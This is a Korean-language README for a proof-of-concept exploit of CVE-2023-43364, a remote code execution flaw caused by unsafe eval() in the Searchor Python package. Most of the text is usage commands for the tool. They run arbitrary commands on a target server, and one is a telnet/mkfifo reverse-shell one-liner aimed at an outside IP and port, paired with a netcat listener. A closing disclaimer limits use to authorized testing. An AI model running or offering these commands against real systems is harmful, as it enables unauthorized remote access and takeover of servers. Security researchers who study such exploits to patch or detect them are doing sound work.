CVE-2023-43364 – Searchor RCE Exploit (PoC)

Searchor(< 2.4.2)에서 안전하지 않은 eval() 사용을 통한 원격 코드 실행(RCE)

개요

이 프로젝트는 Python 패키지 Searchor (< 2.4.2)에 영향을 주는 원격 코드 실행(RCE) 취약점인 CVE-2023-43364의 악용을 시연합니다.

이 문제는 사용자 제어 입력에 대한 안전하지 않은 eval() 사용으로 인해 발생하며, 공격자가 임의의 Python 코드를 주입하고 실행할 수 있게 합니다.

이 취약점은 공식 패치에 표시된 것처럼 안전하지 않은 eval() 사용을 제거하여 수정되었습니다:

추가 기술 정보 및 권고:

이 개념 증명(PoC)은 명령 실행, 테스트 검증, 리버스 셸을 포함한 여러 실행 방법을 제공합니다.

코드 실행을 확인하기 위해 간단한 명령(id)을 실행합니다:

python3 CVE-2023-43364.py <URL> --test

사용자 지정 명령 실행 대상 서버에서 임의의 명령을 실행합니다:

python3 CVE-2023-43364.py <URL> -a "whoami"

예시:

python3 CVE-2023-43364.py <URL> -a "TF=$(mktemp -u);mkfifo $TF && telnet IP PORT 0<$TF | sh 1>$TF"
python3 CVE-2023-43364.py <URL> -a "ls -la"

리버스 셸 사용자 머신에서 리스너를 시작합니다:

nc -lvnp 4444

익스플로잇을 실행합니다:

python3 CVE-2023-43364.py <URL> <LHOST>

이 프로젝트는 다음을 위한 것입니다:

저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

이 익스플로잇은 통제된 환경 또는 테스트를 위한 명시적 권한이 있는 시스템에서만 사용하십시오.